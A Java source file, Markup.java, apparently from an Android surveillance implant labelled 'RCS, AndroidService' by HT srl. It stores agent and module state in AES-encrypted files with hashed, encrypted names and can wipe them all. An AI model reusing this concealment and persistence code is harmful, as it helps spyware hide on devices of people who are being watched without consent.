/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : Markup.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.evidence; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectInput; import java.io.ObjectInputStream; import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.io.Serializable; import com.android.dvci.auto.Cfg; import com.android.dvci.crypto.CryptoException; import com.android.dvci.crypto.Digest; import com.android.dvci.crypto.Encryption; import com.android.dvci.crypto.Keys; import com.android.dvci.event.BaseEvent; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.dvci.listener.BSm; import com.android.dvci.module.BaseModule; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; /** * The Class Markup. */ public class Markup { private static final String TAG = "Markup"; //$NON-NLS-1$ //$NON-NLS-1$ public static final String MARKUP_EXTENSION = ".mm"; //$NON-NLS-1$ public static final int DEL_OLD_FILE_MARKUP = 1; public static byte markupSeed; public static boolean markupInit; private String markupId = "core"; //$NON-NLS-1$ private String lognName; private AutoFile file; private final Encryption encryption; private Markup() { encryption = new Encryption(Keys.self().getAesKey()); } /** * Instantiates a new markup. * * @param agentId_ * the agent id_ * @param aesKey * the aes key */ protected Markup(final String agentId_) { this(); markupId = agentId_; } public Markup(final Integer id) { this(); markupId = id.toString(); } protected Markup(final String string, int num) { this(); markupId = string + num; } public Markup(BaseEvent event) { this("EVT" + event.getType(), event.getId()); } public Markup(BaseModule module) { this("AGN" + module.getType()); } public Markup(BaseModule module, int id) { this("MOD" + module.getType(), id); } public Markup(BaseModule module, String id) { this("MOD" + module.getClass() + "_" + id); } public Markup(Class<BSm> cl) { encryption = new Encryption(Cfg.RANDOM.getBytes()); markupId = "BSm"; } /** * Crea un markup vuoto. * * @return true if successful */ public boolean createEmptyMarkup() { return writeMarkup(null); } /** * * @param agentId * the agent id * @param num * @param addPath * the add path * @return the string */ static String makeMarkupName(String agentId, final boolean addPath) { // final String markupName = Integer.toHexString(agentId); final String markupName = ByteArray.byteArrayToHex(Digest.SHA1(agentId.getBytes())); if (Cfg.DEBUG) { Check.requires(markupName != null, "null markupName"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.requires(markupName != "", "empty markupName"); //$NON-NLS-1$ //$NON-NLS-2$ } String encName = ""; //$NON-NLS-1$ if (addPath) { encName = Path.markup(); } encName += Encryption.encryptName(markupName + MARKUP_EXTENSION, getMarkupSeed()); if (Cfg.DEBUG) { Check.asserts(markupInit, "makeMarkupName: " + markupInit); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.log(TAG + " (makeMarkupName): " + encName); } return encName; } private static int getMarkupSeed() { if (!markupInit) { markupSeed = Cfg.RNDDB.getBytes()[0]; markupInit = true; } return markupSeed; } /** * Rimuove tutti i file di markup presenti sul filesystem. * * @return */ public static synchronized int removeMarkups() { int numDeleted = 0; AutoFile dir = new AutoFile(Path.markup()); String[] list = dir.list(); for (String filename : list) { AutoFile file = new AutoFile(Path.markup(), filename); file.delete(); numDeleted++; } // dir.delete(); return numDeleted; } /** * Check. if is markup. //$NON-NLS-1$ * * @return true, if is markup */ public synchronized boolean isMarkup() { if (Cfg.DEBUG) { Check.requires(markupId != null, "agentId null"); //$NON-NLS-1$ } final String markupName = makeMarkupName(markupId, true); if (Cfg.DEBUG) { Check.asserts(markupName != "", "markupName empty"); //$NON-NLS-1$ //$NON-NLS-2$ } final AutoFile fileRet = new AutoFile(markupName); return fileRet.exists(); } /** * Legge il file di markup specificato dall'AgentId (l'ID dell'agente che * l'ha generato), torna un array di dati decifrati. Se il file non viene * trovato o non e' possibile decifrarlo correttamente, torna null. Se il * Markup e' vuoto restituisce un byte[0]. E' possibile creare dei markup * vuoti, in questo caso non va usata la ReadMarkup() ma semplicemente la * IsMarkup() per vedere se e' presente o meno. * * @return the byte[] * @throws IOException * Signals that an I/O exception has occurred. */ public synchronized byte[] readMarkup() throws IOException { if (Cfg.DEBUG) { Check.requires(markupId != null, "agentId null"); //$NON-NLS-1$ } final String markupName = makeMarkupName(markupId, true); if (Cfg.DEBUG) { Check.asserts(markupName != "", "markupName empty"); //$NON-NLS-1$ //$NON-NLS-2$ } final AutoFile fileRet = new AutoFile(markupName); if (fileRet.exists()) { final byte[] encData = fileRet.read(); final int len = ByteArray.byteArrayToInt(encData, 0); byte[] plain = null; try { plain = encryption.decryptData(encData, len, 4); } catch (final CryptoException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " (readMarkup) Error: " + e); } return null; } if (Cfg.DEBUG) { Check.asserts(plain != null, "wrong decryption: null"); //$NON-NLS-1$ } if (Cfg.DEBUG) { Check.asserts(plain.length == len, "wrong decryption: len"); //$NON-NLS-1$ } return plain; } else { if (Cfg.DEBUG) { Check.log(TAG + " Error (readMarkup): Markup file does not exists");//$NON-NLS-1$ } return null; } } /* * public int readMarkupInt() throws IOException{ byte[] data = * readMarkup(); int value = ByteArray.byteArrayToInt(data, 0); return * value; } * * public void writeMarkupInt(int value){ byte[] data = * ByteArray.intToByteArray(value); writeMarkup(data); } */ /** * Removes the markup. */ public synchronized void removeMarkup() { if (Cfg.DEBUG) { Check.requires(markupId != null, "agentId null"); //$NON-NLS-1$ } final String markupName = makeMarkupName(markupId, true); if (Cfg.DEBUG) { Check.asserts(markupName != "", "markupName empty"); //$NON-NLS-1$ //$NON-NLS-2$ } final AutoFile remove = new AutoFile(markupName); remove.delete(); } /** * Scrive un file di markup per salvare lo stato dell'agente, il parametro * e' il buffer di dati. Al termine della scrittura il file viene chiuso, * non e' possibile fare alcuna Append e un'ulteriore chiamata alla * WriteMarkup() comportera' la sovrascrittura del vecchio markup. La * funzione torna TRUE se e' andata a buon fine, FALSE altrimenti. Il * contenuto scritto e' cifrato. * * @param data * the data * @param num * @return true, if successful */ public synchronized boolean writeMarkup(final byte[] data) { final String markupName = makeMarkupName(markupId, true); if (Cfg.DEBUG) { Check.asserts(markupName != "", "markupName empty"); //$NON-NLS-1$ //$NON-NLS-2$ } final AutoFile fileRet = new AutoFile(markupName); // se il file esiste viene azzerato fileRet.create(); if (data != null) { final byte[] encData = encryption.encryptData(data); if (Cfg.DEBUG) { Check.asserts(encData.length >= data.length, "strange data len"); //$NON-NLS-1$ } fileRet.write(data.length); fileRet.append(encData); } return fileRet.exists(); } public synchronized boolean writeMarkupSerializable(final Serializable object) throws IOException { final ByteArrayOutputStream bos = new ByteArrayOutputStream(); final ObjectOutput out = new ObjectOutputStream(bos); out.writeObject(object); final byte[] data = bos.toByteArray(); return writeMarkup(data); } public synchronized Object readMarkupSerializable() throws IOException { final byte[] data = readMarkup(); final ByteArrayInputStream bis = new ByteArrayInputStream(data); final ObjectInput in = new ObjectInputStream(bis); try { final Object o = in.readObject(); return o; } catch (final ClassNotFoundException e) { if (Cfg.EXCEPTION) { Check.log(e); } if (Cfg.DEBUG) { Check.log(TAG + " Error (readMarkupSerializable): " + e);//$NON-NLS-1$ } throw new IOException(); } } public <T extends Serializable> T unserialize(T empty) { if (isMarkup()) { try { Object obj = readMarkupSerializable(); if (obj instanceof Serializable) { T ret = (T) empty.getClass().cast(obj); if (Cfg.DEBUG) { Check.log(TAG + " (unserialize): " + ret);//$NON-NLS-1$ } return ret; }else{ if (Cfg.DEBUG) { Check.log(TAG + " (unserialize) Error, unserializable object."); } return empty; } } catch (Throwable e) { if (Cfg.DEBUG) { Check.log(TAG + " (unserialize) Error: " + e); } return empty; } } else { if (Cfg.DEBUG) { Check.log(TAG + " (unserialize) empty"); } return empty; } } public void serialize(final Serializable object) { try { writeMarkupSerializable(object); } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " Error (serialize): " + e);//$NON-NLS-1$ } } } }